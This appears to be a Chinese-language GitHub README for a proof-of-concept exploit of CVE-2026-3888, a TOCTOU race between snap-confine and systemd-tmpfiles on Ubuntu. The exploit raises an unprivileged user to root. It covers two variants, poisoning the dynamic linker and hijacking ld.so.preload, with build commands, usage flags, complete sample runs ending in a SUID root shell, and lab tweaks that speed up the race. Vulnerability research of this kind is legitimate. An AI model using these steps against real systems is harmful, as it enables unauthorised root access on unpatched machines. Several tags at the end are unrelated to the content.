TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
GitHub: TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
利用 snap-confine 与 systemd-tmpfiles 间 TOCTOU 竞态条件实现 Ubuntu Desktop 24.04+ 本地权限提升的 PoC 代码。
Stars: 0 | Forks: 0
# CVE-2026-3888 — snap-confine / systemd-tmpfiles 本地权限提升
在 Ubuntu Desktop 24.04+ 上,通过利用 `snap-confine` 和 `systemd-tmpfiles` 之间的 TOCTOU 竞态条件,实现从非特权用户到完整 root 权限的本地提权。提供了两种变体:**SUID** 和 **Capabilities**。
**CVSS:** 7.8 (高危) | **公告:** [Qualys](https://cdn2.qualys.com/advisory/2026/03/17/snap-confine-systemd-tmpfiles.txt) | **补丁:** snapd 2.74.2, 2026年3月17日
## 目录
- [变体对比](#variant-comparison)
- [变体 1 — SUID](#variant-1--suid)
- [原理](#how-it-works)
- [文件](#files)
- [构建](#build)
- [用法](#usage)
- [要求](#requirements)
- [输出](#output)
- [变体 2 — Capabilities](#variant-2--capabilities-ubuntu-2510)
- [原理](#how-it-works-1)
- [文件](#files-1)
- [构建](#build-1)
- [用法](#usage-1)
- [要求](#requirements-1)
- [输出](#output-1)
- [实验环境搭建](#lab-setup)
- [免责声明](#disclaimer)
## 变体对比
| | Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
| ------------------ | ----------------------------------------------- | -------------------------------------------------- |
| snap-confine | SUID-root | Capabilities (`cap_sys_admin` 等) |
| 目标 snap | firefox | snap-store |
| 模拟目标 | `/usr/lib/x86_64-linux-gnu` (~285 项) | `/var/lib` (~17 项) |
| 漏洞利用向量 | 用 shellcode 覆盖 `ld-linux-x86-64.so.2` | 控制 `user-fstab` + `ld.so.preload` |
| Payload 格式 | 使用原始系统调用的静态 ELF | 带有 `__attribute__((constructor))` 的共享库 |
| Root 触发器 | SUID snap-confine 加载被污染的动态链接器 | `/tmp/.snap` 中的 SUID `su` 预加载 `.so` |
| cgroup 要求 | 任意 `snap.*` 名称 | 精确匹配: `snap.snap-store.hook.configure` |
| `.snap` 清理 | 30 天 | 10 天 |
| 沙箱逃逸 | `/var/snap/firefox/common/bash` | `/var/snap/snap-store/common/bash` |
## 变体 1 — SUID
### 原理
1. `systemd-tmpfiles` 删除 `/tmp` 下过期的 `.snap` 模拟目录(30天超时)
2. 攻击者重建该目录并填充受控内容 —— 所有文件归攻击者所有
3. 漏洞利用程序通过 AF_UNIX 套接字背压单步执行 `snap-confine`,从而在模拟绑定挂载序列期间可靠地赢得竞态
4. 归攻击者所有的库以 root 身份挂载到沙箱中
5. `ld-linux-x86-64.so.2` 被替换为调用 `setreuid(0,0)` + `execve` 的 shellcode
6. 执行 SUID `snap-confine` 会以 root 权限触发该 shellcode
7. SUID bash 被释放到 `/var/snap/firefox/common/` 以逃离沙箱
### 文件
| 文件 | 描述 |
| --------------------- | ------------------------------------------------------------ |
| `exploit_suid.c` | 统一的单二进制漏洞利用程序 —— 基于分叉的编排器包含全部 7 个阶段 |
| `librootshell_suid.c` | Payload —— 通过原始 x86_64 系统调用替换 `ld-linux-x86-64.so.2` 的最小 ELF |
### 构建
```
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
```
两者都必须在 x86_64 Linux 上编译(或为其交叉编译)。`exploit` 是静态链接的,因此它可以在 snap 沙箱内运行而无需库依赖。`librootshell.so` 使用 `-nostdlib`,因为它仅包含原始系统调用 —— 没有 libc。
### 用法
```
./exploit [-d] [-s]
```
| 标志 | 描述 |
| ---- | ------------------------------------------------------ |
| `-d` | 显示 snap-confine 调试输出(详细模式) |
| `-s` | 跳过 `.snap` 清理等待(需要 root 密码) |
```
# 正常运行
./exploit ./librootshell.so
# Debug 模式
./exploit ./librootshell.so -d
# 失败后重试
./exploit ./librootshell.so -s
```
漏洞利用程序进入沙箱,等待 `systemd-tmpfiles` 删除 `.snap`(在原生 Ubuntu 25.10 上最长 10 天,在原生 Ubuntu 24.04 上最长 30 天),然后自动运行竞态攻击。成功后,降级为 root shell。
### 要求
- 安装了未打补丁的 snapd(< 2.74.2)的 Ubuntu 24.04+
- `snap-confine` 必须是 SUID-root(`-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine`)
- 安装了带有布局绑定挂载的 snap(firefox, snap-store 等)
- `systemd-tmpfiles-clean.timer` 处于活动状态
- 目标上可用 `busybox`(`/usr/bin/busybox`)
### 输出
```
user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3122/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
```
## 变体 2 — Capabilities
### 原理
1. `systemd-tmpfiles` 删除 `/tmp` 下过期的 `.snap` 模拟目录
2. 攻击者重建该目录并填充受控内容 —— 所有文件归攻击者所有
3. 漏洞利用程序通过 AF_UNIX 套接字背压单步执行 `snap-confine`,从而在 `/var/lib` 模拟绑定挂载序列期间可靠地赢得竞态
4. 攻击者获得对 `/var/lib/snapd/mount/snap.snap-store.user-fstab` 的控制权
5. `user-fstab` 条目将一个被污染的 `/etc`(包含 `ld.so.preload`)绑定挂载到沙箱中
6. 从 `/tmp/.snap` 执行 SUID-root 的 `su` 二进制文件会预加载 `librootshell.so`,该库调用 `setreuid(0,0)` + `execve("/tmp/sh")`
7. SUID bash 被释放到 `/var/snap/snap-store/common/` 以逃离沙箱
### 文件
| 文件 | 描述 |
| --------------------- | ------------------------------------------------------------ |
| `exploit_caps.c` | 统一的单二进制漏洞利用程序 —— 基于分叉的编排器包含全部 7 个阶段 |
| `librootshell_caps.c` | Payload —— 带有构造函数的共享库,该函数调用 `setreuid(0,0)` + `execve` |
### 构建
```
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
```
两者都必须在 x86_64 Linux 上编译(或为其交叉编译)。`exploit` 是静态链接的,因此它可以在 snap 沙箱内运行而无需库依赖。`librootshell.so` 使用 `-nostartfiles` 和一个 `__attribute__((constructor))` —— 它通过 `ld.so.preload` 在目标二进制文件的 `main()` 之前加载。
### 用法
```
./exploit [-d] [-s]
```
| 标志 | 描述 |
| ---- | ------------------------------------------------------------ |
| `-d` | 显示 snap-confine 调试输出(详细模式) |
| `-s` | 跳过 `.snap` 清理等待(当 `.snap` 已消失时使用) |
```
# 正常运行
./exploit ./librootshell.so
# Debug 模式
./exploit ./librootshell.so -d
# 跳过等待 (重试)
./exploit ./librootshell.so -s
```
漏洞利用程序进入沙箱,等待 `systemd-tmpfiles` 删除 `.snap`(在原生 Ubuntu 25.10 上最长 10 天,在原生 Ubuntu 24.04 上最长 30 天),然后自动运行竞态攻击。成功后,降级为 root shell。
### 要求
- 安装了未打补丁的 snapd(< 2.74.2,在 2.71.1 上测试)的 Ubuntu Desktop 24.04+
- `snap-confine` 必须具有 capabilities(`cap_sys_admin`, `cap_chown`, `cap_dac_override` 等)
- 安装了 `snap-store` snap(Ubuntu Desktop 默认)
- 安装了 `core22` 基础 snap
- `systemd-tmpfiles-clean.timer` 处于活动状态
- 目标上可用 `busybox`(`/usr/bin/busybox`)
### 输出
```
user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)
[Phase 1] Entering snap-store sandbox...
[+] Inner shell PID: 3501
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 10 days on Ubuntu 25.10).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace destroyed (.mnt gone).
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3501/cwd
[*] Building .snap and .exchange...
[*] 17 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3678)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[+] Race won. /var/lib/snapd is now user-owned.
[Phase 5] Setting up payload and user-fstab...
[*] Copying /etc to .snap/etc...
[*] Writing ld.so.preload...
[*] Writing user-fstab...
[*] Copying librootshell.so to /tmp/...
[*] Copying busybox...
[*] Writing escape script...
[*] Swapping var/lib back (restoring original snapd metadata)...
[+] Payload ready.
[Phase 6] Triggering root via SUID binary in /tmp/.snap...
[*] Executing: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
```
## 实验环境搭建
在原生 Ubuntu 安装中,`.snap` 清理需要 30 天(24.04)或 10 天(25.10)。为了在测试中加速此过程,请减少 `/tmp` 存留时间和定时器间隔:
### 将 /tmp 清理存留时间减少至 4 分钟
编辑 `/usr/lib/tmpfiles.d/tmp.conf`(以 root 身份):
```
# 将 30d 的 age 更改为 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
```
验证:
```
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# 应显示:q /tmp 1777 root root 4m
```
### 将清理定时器加速至每分钟运行一次
```
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
```
验证:
```
systemctl list-timers systemd-tmpfiles-clean
# NEXT 列应显示距离现在约 1 分钟
```
### 移除 .snap 排除项(仅限 snapd 2.73+)
snapd 2.73+ 添加了一条排除规则,阻止 tmpfiles 清理 `.snap`。如果你的系统有此规则,请检查并移除它:
```
cat /usr/lib/tmpfiles.d/snapd.conf
# 如果你看到:x /tmp/snap-private-tmp/*/tmp/.snap
# 删除该行,或将 snapd 降级到 2.71.1
```
使用这些设置,`.snap` 将在过时后约 5 分钟内被清理,从而允许在测试期间快速迭代。
## 免责声明
本代码仅供教育目的、经授权的安全研究以及已获得明确书面许可的渗透测试项目使用。作者不对本软件的滥用承担任何责任。使用本代码即表示你同意自行承担你的行为及其使用后果的责任。请勿对你不拥有或未获得明确测试授权的系统使用本代码。
标签:0day挖掘, Capabilities, CVE-2026-3888, CVSS 7.8, Exploit, POC, Qualys, Root, Snap-confine, Snapd, SUID, Systemd-tmpfiles, TOCTOU, Web报告查看器, 代码执行, 内核安全, 动态链接器劫持, 协议分析, 子域名枚举, 客户端加密, 本地提权, 权限提升, 沙箱逃逸, 竞态条件, 系统安全, 网络安全, 隐私保护